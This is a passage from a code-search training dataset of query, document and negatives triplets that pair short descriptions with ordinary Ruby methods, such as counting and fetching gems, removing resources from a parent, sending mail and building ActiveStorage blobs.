\"http://vimeo.com/api/oembed.json?url=#{url}\"\n result = result.to_hash\n if result \n \"//player.vimeo.com/video/#{result['video_id']}?byline=0&portrait=0&title=0\"\n end\n end", "def find_vimeo_id url\n url = sanitize url\n matches = VIMEO_REGEX.match url.to_str\n matches[2] if matches\n end", "def id\n case self.service\n when :youtube then parse_video_id_for_youtube\n when :vimeo then parse_video_id_for_vimeo\n end\n end", "def video_id(new_uri, link_host)\n video_id = nil\n case link_host\n when \"youtube.com\"\n # finds where v= and gets the next 11 characters after that\n video_id = new_uri.query.split(\"v=\")[1].slice(0, 11)\n \n when \"youtu.be\"\n # only returns the first 11 chars without any parameters attached\n video_id = new_uri.path.delete('/').first(11)\n \n when \"vimeo.com\"\n # only returns the path without any parameters attached\n video_id = new_uri.path.delete('/')\n \n # Removing support since their video ads are extremely annoying\n #when \"dailymotion.com\"\n # get the ID from uri\n #video_id = new_uri.path.split(\"video/\")[1].split(\"_\")[0]\n end\n\n video_id\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Returns number of gems
def gems_count @gems_count ||= gems.count end
[ "def gems_used\n tree = repository.repo.lookup(revision).tree\n gemfile = tree.select{|blob| blob[:name] == 'Gemfile'}.first\n return 0 if !gemfile\n blob = gemfile[:oid]\n\n content = Rugged::Blob.lookup(repository.repo,blob).content\n Ripper.sexp(content).flatten.count('gem')\n end", "def total_size\n size = 0\n\n Gem.path.each do |directory|\n Find.find directory do |path|\n stat = File.stat path\n next unless stat.file?\n size += stat.size\n end\n end\n\n size\n end", "def number_gems(stones, gems)\n gem_hash = {}\n \n gems.each do |gem|\n gem_hash[gem] = true\n end \n \n total_gems = 0\n \n stones.each do |stone|\n if gem_hash[stone]\n total_gems += 1\n end\n end\n \n return total_gems\nend", "def CountSizeToBeInstalled\n sz = 0\n media_sizes = Pkg.PkgMediaSizes\n\n Builtins.foreach(media_sizes) { |inst_sizes| Builtins.foreach(inst_sizes) do |inst_size|\n sz = Ops.add(sz, inst_size)\n end } \n\n\n Builtins.y2milestone(\n \"Total size of packages to install %1 (%2kB)\",\n sz,\n Ops.divide(sz, 1024)\n )\n String.FormatSizeWithPrecision(sz, 1, true)\n end", "def number_of_packages(architecture, repository)\n n_min = nil\n for coq_version in coq_versions(architecture, repository) do\n n = 0\n for _, results in @in_memory[architecture][repository][coq_version][:results] do\n n += results.size\n end\n n_min = n_min ? [n_min, n].min : n\n end\n n_min ? n_min : 0\n end", "def missingmodulecount\n $number_of_missing_modules = @missingmodules.count().to_s\nend", "def version_count\n return inject(0) {|sum, photo| sum += photo.versions.size} \n end", "def number_of_frameworks\n framework_names_by_platform.values.flatten.count\n end", "def versions_count\n end", "def modules_count\n repository.files(:pattern => /.rb/).map do |file|\n parse_file(file,:module)\n end.sum\n end", "def num_shelf\n\t\tputs \"Library has #{@shelves.length} shelves\"\n\tend", "def plugin_count\n return plugins.length - 1; \n end", "def num_tests\n # This is RSpec specific.\n `grep -r \" it\" #{Settings.working_dir}/spec/ | wc`.to_i\n end", "def total_repo_count\n repositories.length\n end", "def count\n hooks.count\n end", "def gems\n # TODO: need to get more questions - Apply paginates\n parse_gems\n end", "def number_of_projects_completed\n complete_projects.size\n end", "def package_count hostname\n return 0 if ! hostname\n @hosts_packages[hostname] = read_host( hostname ) if ! @hosts_packages[hostname]\n return @hosts_packages[hostname].count || 0\n end", "def number_of_existing_apps\r\n make_sure_apps_page unless @driver.current_url =~ /.*apps.*/\r\n num = @driver.find_elements(:tag_name => \"article\").count\r\n puts \"+ <action> existing_app_num: #{num}\"\r\n return num\r\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Fetches data for each gem
def fetch_gems_data puts "Fetching data for..." # slice 100 to avoid too many requests on RubyGems and GitHub APIs gems.each_slice(100) do |batch| each_concurrently(batch) do |gem| begin retries ||= 0 # set verbose to true to stdout the gem name gem.prepare_data(verbose: true) # rescue SocketError, Faraday::ConnectionFailed... rescue StandardError (retries += 1) <= RETRIES ? retry : nil end end end end
[ "def gems\n # TODO: need to get more questions - Apply paginates\n parse_gems\n end", "def gems_dataset\n lid = request.cookies['lid']\n if(lid)\n AllGems.db[:versions].join(:gems, :id => :gem_id).join(:gems_lids, :version_id => :versions__id).join(:lids, :id => :gems_lids__lid_id).select(:gems__name.as(:name), :gems__id.as(:id)).order(:id)\n else\n AllGems.db[:gems]\n end\n end", "def find_gems\n @gems = RubygemsApi.call :all\n end", "def fetch_specific_version_data\n fetch_data(\"#{RubygemsApi::BASE_URL}/api/v1/downloads/#{gem_name}-#{gem_version}.json\", @default_options) do |http_response|\n downloads_count = http_response['version_downloads']\n downloads_count = http_response['total_downloads'] if display_total\n @callback.call(downloads_count, http_response)\n end\n end", "def gem_data(name)\n query_str = File.join(CONFIG[:api_url], name + '.json')\n uri = URI.parse(query_str)\n resp = Net::HTTP.get_response(uri)\n begin\n resp.value\n JSON.parse(resp.body)\n rescue\n raise resp.body\n end\n end", "def fetch_gem_stable_version_data\n fetch_data(\"#{RubygemsApi::BASE_URL}/api/v1/versions/#{gem_name}.json\", @default_options) do |http_response|\n latest_stable_version_details = get_latest_stable_version_details(http_response)\n downloads_count = latest_stable_version_details['downloads_count'] unless latest_stable_version_details.blank?\n #noinspection RubyScope\n @callback.call(downloads_count, http_response)\n end\n end", "def prefetch reqs\n names = reqs.map { |r| r.dependency.name }\n needed = names.find_all { |d| !@data.key?(d) }\n\n return if needed.empty?\n\n uri = @dep_uri + \"?gems=#{needed.sort.join ','}\"\n str = Gem::RemoteFetcher.fetcher.fetch_path uri\n\n Marshal.load(str).each do |ver|\n @data[ver[:name]] << ver\n end\n end", "def parse_gems\n gem_rows = []\n raws = connect(option)\n unless raws.nil? || raws.empty?\n raws.each do |g|\n gem_rows << [g['name'], g['info'][0..60], g['project_uri'], g['authors'], g['downloads']]\n end\n Terminal::Table.new headings: ['Name', 'Info', 'URL', 'Authors', 'Downloads'], rows: gem_rows\n else\n nil\n end\n end", "def prefetch(reqs)\n names = reqs.map { |r| r.dependency.name }\n needed = names.find_all { |d| !@data.key?(d) }\n\n return if needed.empty?\n\n uri = @dep_uri + \"?gems=#{needed.sort.join ','}\"\n str = Gem::RemoteFetcher.fetcher.fetch_path uri\n\n Marshal.load(str).each do |ver|\n @data[ver[:name]] << ver\n end\n end", "def fetch_datasets\n self.databases.each do |name,database|\n @datasets.merge!( database.datasets )\n end\n end", "def fetch_infos\n tweets\n github_info\n rubygems_info\n end", "def getGemInfo page_no\n\n\t# RubyCheerio object created with HTML String returned from RestClient.\n\tjQuery = RubyCheerio.new( (RestClient.get \"https://rubygems.org/gems?page=#{page_no.to_s}\").to_str )\n\truby_gems = Array.new\n\n\t# Finds the gem block\n\tjQuery.find('.gems__gem').each do |gem_info|\n\t\t# Finds the name inside gem block\n\t\tgem_name_version = gem_info.find('h2.gems__gem__name')[0].text.strip.split(\"\\n\")\n\n\t\t# Finds the download count inside gem block\n\t\tgem_downloads = gem_info.find('p.gems__gem__downloads__count')[0].text.strip.split(\"\\n\")[0]\n\n\t\t# Adds it to hash\n\t\truby_gems << { name: gem_name_version[0].strip, version: gem_name_version[1].strip, downloads: gem_downloads }\n\tend\n\truby_gems\nend", "def download_latest_gem_names\n latest_gems = @gem_downloader.latest_gems\n puts \"total number of gems: #{latest_gems.size}\"\n\n latest_gems.inject([]) do |names, gem|\n name = gem[0]\n version = gem[1].version\n names << name\n end\n end", "def information\n @information ||= JSON.parse( open( \"https://rubygems.org/api/v1/gems/#{@gem_name}.json\" ).read )\n end", "def gems\n provisioner, version = @impl.split('-')\n get_gem_list(provisioner, version)\n end", "def gems\n gem_data = (project['gems'] ||= Gems::List.new)\n return gem_data if gem_data.kind_of? Gems::List\n if gem_data.kind_of? Hash\n project['gems'] = Gems::List.new(gem_data)\n save_config\n return gems\n end\n new_gems = Gems::List.new\n gem_data.each do |gem_ary|\n new_gems[gem_ary[0]] = gem_ary[1]\n end\n project['gems'] = new_gems\n save_config\n return gems\n end", "def fetch\n clean_load_dir\n pull_from_remote_buckets(@remote_buckets)\n pull_from_local_dirs(@local_dirs)\n load_dir_json_files\n end", "def index\n @demo_gems = DemoGem.all\n end", "def gather_gems\n @specs = Gem.loaded_specs\n .values\n .select {|spec| spec.name[@mask]}\n .sort {|first, second| first.name <=> second.name}\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Starts a thread to process the given gem
def gem_thread(gem) Thread.new do begin retries ||= 0 # set verbose to true to stdout the gem name gem.prepare_data(verbose: true) # rescue SocketError, Faraday::ConnectionFailed... rescue StandardError (retries += 1) <= RETRIES ? retry : nil end end end
[ "def cookbook_gem_start(gems); end", "def start\n @thread = Thread.new {\n run\n }\n puts \"==== spawn_start\"\n @process = @executor.execute();\n end", "def run_gemstash\n await_port_status(false) # don't start until any old servers are dead\n\n STDERR.puts \"Clearing gemstash dir\".yellow\n annotated_command(\"rm -rfv #{ENV[\"GEMSTASH_WORKDIR\"]}/*\") { \"SERVER CLEANUP\" }\n\n # generate the new key\n key = `#{gemstash_command(\"authorize\")}`.lines.first.split(\":\")[1].strip\n STDERR.puts \"Using GEM_HOST_API_KEY=#{key}\".yellow\n\n # generate the new thread and IO object\n io = nil\n STDERR.puts \"Launching gemstash thread\".yellow\n thread = Thread.new do\n annotated_command(gemstash_command(\"start\", \"--no-daemonize\")) do |io_obj|\n io = io_obj\n \"GEMSTASH\"\n end\n end\n\n await_port_status(true) # don't return until the new server is ready\n OpenStruct.new(thread: thread, io: io, key: key)\nend", "def start_worker\n @worker_thread = Thread.new { worker.run! }\n # Wait for the worker to start. This is needed to avoid a deadlock\n # when stopping immediately after starting.\n sleep 0.1\n end", "def install_gem; end", "def start_worker\n @worker_thread = Thread.new { worker.run }\n end", "def start\n start_thread\n wait(20) # This so that you wait until either the step is done or 20 seconds is up.\n # It doesn't have to wait the whole 20 seconds if the step finishes quickly.\n end", "def thread\n @thread ||= Thread.new(sys) do |sys|\n eval(code)\n end\n end", "def start(sync = nil)\n begin\n puts \"classpath #{Java.classpath.inspect}\"\n port = URI.parse(url).port\n puts \"Starting Jetty at http://localhost:#{port}\" if verbose\n Java.load\n jetty = Java.org.apache.buildr.JettyWrapper.new(port)\n sync << \"Started\" if sync\n sleep # Forever\n rescue Interrupt # Stopped from console\n rescue Exception=>error\n puts \"#{error.class}: #{error.message}\"\n end\n exit! # No at_exit\n end", "def start(name, &block)\n\t\t\t\tThread.fork(name: name, &block)\n\t\t\tend", "def setup_raw\n @thread = Thread.current\n @running = true\n end", "def install_gem\n Juwelier::Commands::InstallGem.build_for(self).run\n end", "def start\n @success = true #artifact is successful until it isn't\n @status = \"running\"\n @start_time = Time.now\n @pre_routine.call if @pre_routine\n end", "def start\n @registry = Registry.new\n Thread.new do\n loop do\n @registry.extend_locks\n sleep(config.sleep_time)\n end\n end\n end", "def start\n return if ENV['GUARD_ENV'] == 'test'\n @thread = Thread.new { read_line } if !@thread || !@thread.alive?\n end", "def start_in_thread\n thread = Thread.new {\n start_autoscaler\n }\n return thread\n end", "def run_spec(spec)\n $stderr.puts \"*** Checking #{spec.full_name}\"\n\n version_id = @fc.get_version_id spec\n return if tested? version_id\n\n $stderr.puts \"*** Igniting (http://#{@host}/gem/show/#{spec.name}/#{spec.version})\"\n begin\n build = test_gem spec\n rescue Tinderbox::BuildError, Tinderbox::InstallError => e\n @seen_gem_names.delete spec.full_name\n $stderr.puts \"*** Failed to install (#{e.class})\"\n return\n rescue Tinderbox::InstallError => e\n $stderr.puts \"*** Failed to install (#{e.class}), will try again later\"\n return\n end\n\n if build.successful then\n $stderr.puts \"*** I couldn't light #{spec.full_name} on fire\"\n else\n $stderr.puts \"*** I lit #{spec.full_name} on fire!\"\n end\n\n build.submit version_id, @target_id, @host, @username, @password\n\n build\n end", "def thread\n @thread\n end", "def start\r\n\t\t\tswdebug 'Started new thread for message processing.'\r\n\t\t\t# Start a new child Thread\r\n\t\t\t@thread = Thread.new {\r\n\t\t\t\tloop do\r\n\t\t\t\t\titems = process\r\n\t\t\t\t\tif items == 0\r\n\t\t\t\t\t\tsleep(0.1)\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\tswdebug \"Processing #{items} items\"\r\n\t\t\t\t\tend\r\n\t\t\t\tend\r\n\t\t\t}\t\t\t\t\r\n\t\tend" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Remove the resource from given parent
def remove_from_parent @change_set = ChangeSet.for(resource) parent_resource = find_resource(parent_resource_params[:id]) authorize! :update, parent_resource parent_change_set = ChangeSet.for(parent_resource) current_member_ids = parent_resource.member_ids parent_change_set.member_ids = current_member_ids - [resource.id] obj = nil change_set_persister.buffer_into_index do |persist| obj = persist.save(change_set: parent_change_set) end after_update_success(obj, @change_set) rescue Valkyrie::Persistence::ObjectNotFoundError => e after_update_error e end
[ "def removeFromParent\n @parent.remove(self) if @parent\n end", "def unlink\n @parent.unlink(self)\n end", "def remove_from_parent!\n @parent.remove!(self) unless root?\n end", "def remove_item\n @parent.remove_item(self)\n end", "def remove_from_parent!\n @parent.remove!(self) unless is_root?\n end", "def remove_parent\n self.parent.remove_child(self) unless self.parent.nil?\n end", "def remove_child(resource)\n @children.delete(resource.base_symbol)\n end", "def unlink\n if parent\n parent.children.delete(self)\n self.instance_variable_set(:@parent, nil)\n return self\n end\n end", "def remove!\n parent.children.remove self if parent\n end", "def remove_resource!(resource)\n resource_id = resource!(resource).id\n resources_removed = [resource_id]\n\n if resource_parent = @_resources[resource_id][:parent]\n @_resources[resource_parent.id][:children].delete(resource_id)\n end\n\n @_resources[resource_id][:children].each do |child_id, child|\n remove_resource!(child_id)\n resources_removed.push(child_id)\n end\n\n resources_removed.each do |resource_id_removed|\n @_rules[:by_resource_id].each do |resource_id_current, rules|\n if resource_id_removed == resource_id_current\n @_rules[:by_resource_id].delete(resource_id_current)\n end\n end\n end\n\n @_resources.delete(resource_id)\n\n self\n end", "def remove\n @resource = nil\n end", "def destroy\n @parent_resource = ParentResource.find(params[:id])\n # require modify permissions for this object\n require_privilege(Alberich::Privilege::MODIFY, @parent_resource)\n @parent_resource.destroy\n\n respond_to do |format|\n format.html { redirect_to parent_resources_url }\n format.json { head :no_content }\n end\n end", "def unlink\n return nil if root?\n\n other = parent\n other.delete_child self\n\n self.parent = nil\n\n other\n end", "def remove\n @native_item.winfo_parent.destroy\n end", "def unregister_parent( existing_parent )\n \n existing_parent = configuration_for_configuration_or_instance( existing_parent )\n @parent = nil if @parent.equal?( existing_parent )\n \n return self\n \n end", "def remove\r\n return unless parent? # No need to remove if parentless\r\n\r\n parent_obj = zobj self.parent\r\n sibling_obj = zobj self.sibling\r\n\r\n clear_parent\r\n clear_sibling\r\n\r\n if parent_obj.child == self.id # Am I my parent's child?\r\n parent_obj.child = sibling_obj.id\r\n else\r\n child_obj = zobj parent_obj.child\r\n while self.id != child_obj.sibling # Next Child!\r\n raise \"malformed object tree\" if child_obj.sibling == 0\r\n child_obj = zobj child_obj.sibling\r\n end\r\n child_obj.sibling = sibling_obj.id\r\n end\r\n end", "def unlink_parent(object)\n #puts \"unlink parent #{object.short_id} from child #{self.short_id}\"\n @parents.reject!{ |obj| obj.id == object.id }\n end", "def unregister_parent( *args )\n \n @parent = nil\n\n return self\n \n end", "def unlink(parent, child)\n parent, child = lookup(parent, child)\n\n parent.children.delete(child)\n child.parents.delete(parent)\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
The activesupport to_query extension doesn't escape the = character as it's meant for a primary query string
def to_query(params) params.to_query.gsub("=", "%3D").gsub("&", "%26") end
[ "def stringToQuery (val)\n\t\t\n\tend", "def to_query\n \"#{self.name}=#{CGI.escape(self.value.to_s)}\"\n end", "def to_query(key)\n \"#{CGI.escape(key.to_param)}=#{CGI.escape(to_param.to_s)}\"\n end", "def format_hash_as_query_string(query_params)\n # replace Ruby => assignment operators with JSON standard colons (:)\n sanitized_params = query_params.to_s.gsub(/=>/, ':')\n CGI.escape(sanitized_params)\n end", "def escaped_query\n /\\s/.match?(query) ? \"\\\"#{query}\\\"\" : query\n end", "def escape_query(q)\n q.gsub(/([\\+\\-\\=\\&\\|\\>\\<\\!\\(\\)\\{\\}\\[\\]\\^\\~\\*\\?\\:\\\\\\/])/) {|m| \"\\\\#{$1}\"}\n end", "def clean_query_string(q)\n ERB::Util.url_encode(q.gsub(/-|\\(|\\)|:/, \"\"))\n end", "def queryPart\n if @query\n '?' + @query\n else\n ''\n end\n end", "def uri_query_encode(query_string)\n return nil if query_string.nil?\n\n # query can encode space to %20 OR +\n # + MUST be encoded as %2B\n # in RFC3968 both query and fragment are defined as:\n # = *( pchar / \"/\" / \"?\" )\n # CGI.escape turns space into + which is the most backward compatible\n # however it doesn't roundtrip through URI.unescape which prefers %20\n CGI.escape(query_string).gsub('+', '%20')\n end", "def query_string\n end", "def format_query_value(value)\n value = case value\n when Time, Date then value.to_s(:db)\n else value.to_s\n end\n\n CGI.escape(value)\n end", "def add_query_param(query, key, value)\n query = query.to_s\n query << '&' unless query.empty?\n query << \"#{::Faraday::Utils.escape key}=#{::Faraday::Utils.escape value}\"\n end", "def query_string(**params)\n params.map { |k, v| [k, v].join('=') }.join('&')\n end", "def query=(v)\n return @query = nil unless v\n raise InvalidURIError, \"query conflicts with opaque\" if @opaque\n\n x = v.to_str\n v = x.dup if x.equal? v\n v.encode!(Encoding::UTF_8) rescue nil\n v.delete!(\"\\t\\r\\n\")\n v.force_encoding(Encoding::ASCII_8BIT)\n raise InvalidURIError, \"invalid percent escape: #{$1}\" if /(%\\H\\H)/n.match(v)\n v.gsub!(/(?!%\\h\\h|[!$-&(-;=?-_a-~])./n.freeze){'%%%02X' % $&.ord}\n v.force_encoding(Encoding::US_ASCII)\n @query = v\n end", "def escape_query(query)\n query_s =\n if query.is_a?(Array)\n query.map { |item| \"( #{item} )\" }.compact.join(' OR ')\n else\n query.to_s\n end\n escape(query_s)\n end", "def query_normalization\n uri = Addressable::URI.parse(@url)\n tmp_q = (uri.query_values || {}).merge(@query)\n\n return tmp_q if tmp_q.empty? && tmp_q.values.all? { |v| v.encode == @encoding }\n tmp_q.each_key { |k| tmp_q[k].encode! @encoding }\n tmp_q\n end", "def query_string\n return @query_string\n end", "def altered_query_string\n return @altered_query_string\n end", "def format_query_value(value)\n value = case value\n when Time, Date\n value.to_s(:db)\n else\n value.to_s\n end\n\n CGI.escape(value)\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Method for sending mail notifying signatures are complete
def send_signature_complete_mail(document) DocumentMailer.with(email: document.user.email, document: document).signing_complete.deliver_later DocumentEvent.create!(document: document, message: "Varsel om ferdig signering sendt til #{document.user.email} ") end
[ "def email_complete; end", "def fir_complete_notification (design, release_review_id, reviewer, current_user)\n\n to_list = [reviewer.email]\n cc_list = [current_user.email]\n subject = 'FIR Completed - ' + MailerMethods.subject_prefix(design)\n\n @pcb_display = design.pcb_display\n @release_review_id = release_review_id\n\n mail( :to => to_list,\n :subject => subject,\n :cc => cc_list\n ) \n \n end", "def withdraw_note(addresses, publication_title) \n #send note to publication creator that the pub has been withdrawn\n #they can checkout the comments to see if there is more info about the withdraw\n \n @publication_title= publication_title \n\n mail(:to => addresses, :subject => publication_title + \" has been withdrawn.\")\n \n end", "def email_on_complete\n count = options['email_me']\n return unless count && count > 0\n if Document.owned_by(document.account).pending.count == 0\n LifecycleMailer.documents_finished_processing(document.account, count).deliver_now\n end\n end", "def handed_over_signatories_mail(signature)\n @signature = signature\n @petition = @signature.petition\n @unique_key = url_for(\n controller: 'signatures',\n action: 'confirm',\n signature_id: @signature.unique_key)\n\n subject = t('mail.handed_over_subject', petition: @petition.name)\n mail(to: signature.person_email, subject: subject)\n end", "def handed_over_signatories_mail\n petition = Petition.where(status: 'live').first\n SignatureMailer.handed_over_signatories_mail(Signature.last)\n end", "def documents_finished_processing(account, document_count)\n @account = account\n @count = document_count\n mail({\n :to => account.email, :subject => DC.t(account,'documents_are_ready'),\n :content_type => \"text/plain\",\n :template_path => translation_path_for( account.language )\n })\n end", "def perform\n current_time = Time.now\n packages = find_packages(city_db_id)\n emails = find_emails(city_db_id)\n\n ## Create list of recipients as array of strings\n recipients = []\n emails.each do |email|\n recipients << email.email_value\n end\n\n Emailer.packages_notification(current_time,packages,recipients).deliver\n end", "def work_submitted( work, to, from )\n\t\t@recipient = User.displayname_from_email( to )\n\t\t@title = work.title.first\n @visibility = work.is_publicly_visible? ? 'public' : 'UVa-only'\n\t\t@embargo_release_date = work.embargo_release_date\n\t\t@visibility_after_embargo = work.visibility_after_embargo\n @rights_name = RightsService.label( work.rights.first )\n\t\t@doi_url = work.doi_url\n\t\tsubject = 'Work successfully deposited to Libra'\n\t\tlogger.info \"Sending email (successful deposit); to: #{to} (#{@recipient}), from: #{from}, subject: #{subject}\"\n mail( to: to, from: from, subject: subject )\n\tend", "def do_email\n @supplierpayment = SupplierPayment.find(params[:id])\n @email = params[:email]\n \n Notifier.supplierpayment(@email, @supplierpayment).deliver\n \n flash[:notice] = \"The supplierpayment has been sent successfully.\"\n redirect_to \"/supplierpayments/#{@supplierpayment.id}\"\n end", "def send_email_digest\n from = Email.new(email: \"donotreply@shtda.com\")\n to = Email.new(email: USER.email)\n subject = 'Here is your to-do digest!'\n content = Content.new(type: 'text/plain', value: @data.join(', '))\n mail = Mail.new(from, subject, to, content)\n\n sg = SendGrid::API.new(api_key: ENV['SENDGRID_API_KEY'])\n response = sg.client.mail._('send').post(request_body: mail.to_json)\n puts response.status_code\n if response.status_code == '400'\n puts \"You can't send empty to-do lists. Add something to this to-do list before trying to email it again\"\n elsif response.status_code == '202'\n puts \"Your email has been sent! If it doesn't arrive in your inbox soon it's Sendgrid's fault :P \"\n else\n puts response.parsed_body\n puts response.headers\n end\n end", "def send_admin_mail\n AdminMailer.new_user_waiting_for_approval(self).deliver_later\n end", "def design_review_complete_notification(design_review)\n\n subject = design_review.design.subject_prefix +\n 'The ' +\n design_review.review_name +\n ' design review is complete'\n\n to_list = design_review.reviewer_list\n\n cc = design_review.copy_to + design_review.design.board.copy_to_on_milestone\n\n case design_review.review_type.name\n when \"Release\"\n #cc.push(\"STD_DC_ECO_Inbox@notes.teradyne.com\") if Rails.env.production?\n when \"Final\"\n pcb_admin = Role.find_by_name(\"PCB Admin\")\n cc += pcb_admin.active_users.collect { |u| u.email }\n when 'Pre-Artwork'\n cc.push(design_review.design.input_gate.email)\n end\n\n cc_list = (cc - to_list).uniq\n\n @design_review_id = design_review.id\n @message = subject\n \n mail( :to => to_list,\n :subject => subject,\n :cc => cc_list\n )\n end", "def deliver_confirmation_email_instructions!\n # TODO\n end", "def email_resolved\n puts 'sending issue resolved message...'\n Ragios::Notifiers::EmailNotifier.new.send(message(\"email_resolved.erb\")) \n end", "def key_approved_msg(user, user_key)\n @recipient = user\n @user_key = user_key\n mail(:to => @recipient.email, \n :subject => \"The Bridge API Notice: Your #{@user_key.name} Key Application Has Been Approved!\")\n\n end", "def final_pdf_uploading_started(orders)\n @orders = orders\n mail to: PDF_GENERATION_EMAIL_RECIPIENTS,\n from: CONTACT_EMAIL,\n subject: \"HeritageCookbook - PDF Generation Started for #{orders.size} cookbooks\"\n end", "def email_sent(to)\n puts green(\"Notification sent to: #{to}\")\n end", "def invoice_is_ready invoice = Invoice.first\n @invoice = invoice\n mail(to: @invoice.user.email, subject: \"You Invoice is ready\") do |format|\n format.text\n format.mjml\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Method for making a viable ActiveStorage blob from attachment
def attachment mail.attachments.map do |attachment| blob = ActiveStorage::Blob.create_after_upload!( io: StringIO.new(attachment.decoded), filename: attachment.filename, content_type: attachment.content_type ) return blob end end
[ "def blob\n active_storage_blob\n end", "def uploaded_blob(name, serialized_json)\n gzipped = gzip(serialized_json)\n s3_client = ActiveStorage::Blob.service.client\n bucket = ActiveStorage::Blob.service.bucket\n blob = ActiveStorage::Blob.new\n io = StringIO.new(gzipped)\n blob.filename = name\n blob.checksum = blob.send(:compute_checksum_in_chunks, io)\n blob.byte_size = io.size\n blob.content_type = \"application/json\"\n\n bucket.object(blob.key).put(body: io, content_type: \"application/json\", content_encoding: \"gzip\")\n blob.save\n blob\n end", "def blob( str )\n ::Amalgalite::Blob.new( :string => str )\n end", "def attachment\n @attachment ||= ActiveStorage::Attachment.find_by(record_gid: record.to_gid.to_s, name: name)\n end", "def create_blob(credentials, bucket_id, blob_id, data = nil, opts = {})\n s3_client = new_client(credentials, :s3)\n #data is a construct with the temporary file created by server @.tempfile\n #also file[:type] will give us the content-type\n if(opts[:segment_manifest])\n safely do\n s3_client.interface.complete_multipart(bucket_id, blob_id, opts[:segmented_blob_id], opts[:segment_manifest])\n end\n else\n # File stream needs to be reopened in binary mode\n file = File::open(data[:tempfile].path, 'rb')\n #insert ec2-specific header for user metadata ... x-amz-meta-KEY = VALUE\n BlobHelper::rename_metadata_headers(opts, 'x-amz-meta-')\n opts[\"Content-Type\"] = data[:type]\n safely do\n s3_client.interface.put(bucket_id,\n blob_id,\n file,\n opts)\n end\n end\n #create a new Blob object and return that\n Blob.new( { :id => blob_id,\n :bucket => bucket_id,\n :content_length => ((data && data[:tempfile]) ? data[:tempfile].length : nil),\n :content_type => ((data && data[:type]) ? data[:type] : nil),\n :last_modified => '',\n :user_metadata => opts.select{|k,v| k.match(/^x-amz-meta-/i)}\n }\n )\n end", "def get_blob(container, blob, options = T.unsafe(nil)); end", "def blob=(value)\n @blob = value\n end", "def blob(id)\n Blob.create(self, :id => id)\n end", "def create_append_blob_from_content(container, blob, content, options = T.unsafe(nil)); end", "def attachment_blob_url(aname, *rest)\n a = (aname.is_a?(String) || aname.is_a?(Symbol)) ? send(aname) : aname\n if a.is_a?(ActiveStorage::Attached::One)\n Rails.application.routes.url_helpers.rails_blob_url(a, rest[0])\n elsif a.is_a?(ActiveStorage::Attached::Many)\n if rest.count > 0\n idx = rest[0].to_i\n Rails.application.routes.url_helpers.rails_blob_url(a[idx], rest[1])\n else\n nil\n end\n else\n nil\n end\n end", "def create\n # coding\n file = params[:file]\n mounted_as = [params[:auction_id]]\n mounted_as.push(params[:user_id]) unless params[:user_id].nil?\n mounted_as.push(Time.current.to_f.to_s.delete('.'))\n\n uploader = AvatarUploader.new(AuctionAttachment, mounted_as)\n uploader.store!(file)\n\n attachment = AuctionAttachment.new\n attachment.auction_id = params[:auction_id]\n attachment.file_name = uploader.filename\n attachment.file_type = params[:file_type]\n attachment.file_path = uploader.url\n attachment.user_id = params[:user_id] unless params[:user_id].nil?\n\n attachment.save\n\n render json: attachment, status: 200\n end", "def create\n @blob = Blob.new(params[:blob])\n\n respond_to do |format|\n# if @blob.save\n# flash[:notice] = 'Blob was successfully created.'\n# format.html { redirect_to(@blob) }\n# format.xml { render :xml => @blob, :status => :created, :location => @blob }\n# else\n# format.html { render :action => \"new\" }\n# format.xml { render :xml => @blob.errors, :status => :unprocessable_entity }\n# end\n format.html { head :forbidden }\n end\n end", "def create\n @blob = Blob.new(params[:blob])\n\n respond_to do |format|\n if @blob.save\n format.html { redirect_to(@blob, :notice => 'Blob was successfully created.') }\n format.xml { render :xml => @blob, :status => :created, :location => @blob }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @blob.errors, :status => :unprocessable_entity }\n end\n end\n end", "def blob\n return @blob\n end", "def upload_attachment(storage, attachment, raise_exceptions)\n begin\n # attachment is already a file or we need to open the file from disk\n unless attachment.respond_to?(:path) && attachment.respond_to?(:read)\n raise \"file does not exist: #{attachment}\" unless File.exists?(attachment)\n attachment = File.open(attachment, 'rb')\n end\n\n # there are two different upload methods: AWS S3 and ITRP local storage\n key_template = \"#{storage[:upload_path]}#{FILENAME_TEMPLATE}\"\n key = key_template.gsub(FILENAME_TEMPLATE, File.basename(attachment.path))\n upload_method = storage[:provider] == AWS_PROVIDER ? :aws_upload : :itrp_upload\n send(upload_method, storage, key_template, key, attachment)\n\n # return the values for the note_attachments param\n {key: key, filesize: File.size(attachment.path)}\n rescue ::Exception => e\n report_error(\"Attachment upload failed: #{e.message}\", raise_exceptions)\n nil\n end\n end", "def create\n @dataservice_blob = Dataservice::Blob.new(params[:blob])\n authorize @dataservice_blob\n\n respond_to do |format|\n if @dataservice_blob.save\n flash[:notice] = 'Dataservice::Blob was successfully created.'\n format.html { redirect_to(@dataservice_blob) }\n format.xml { render :xml => @dataservice_blob, :status => :created, :location => @dataservice_blob }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @dataservice_blob.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @blob = Blob.new(params[:blob])\n\n respond_to do |format|\n if @blob.save\n format.html { redirect_to @blob, notice: 'Blob was successfully created.' }\n format.json { render json: @blob, status: :created, location: @blob }\n else\n format.html { render action: \"new\" }\n format.json { render json: @blob.errors, status: :unprocessable_entity }\n end\n end\n end", "def stub_build_blob_to_azure\n key = \"direct_uploads/#{SecureRandom.uuid}\".freeze\n azure_response = ET3::Test::AzureHelpers.url_for_direct_upload(key, expires_in: 1.hour)\n\n queries = Rack::Utils.parse_nested_query(URI.parse(azure_response).query)\n\n stub_request(:post, \"#{ENV.fetch('ET_API_URL', 'http://api.et.127.0.0.1.nip.io:3100/api')}/v2/build_blob\").\n to_return(\n headers: { 'Content-Type': 'application/json' },\n body:\n {\n \"data\": {\n \"fields\": {\n \"key\": key,\n \"permissions\": queries['sp'],\n \"version\": queries['sv'],\n \"expiry\": queries['se'],\n \"resource\": 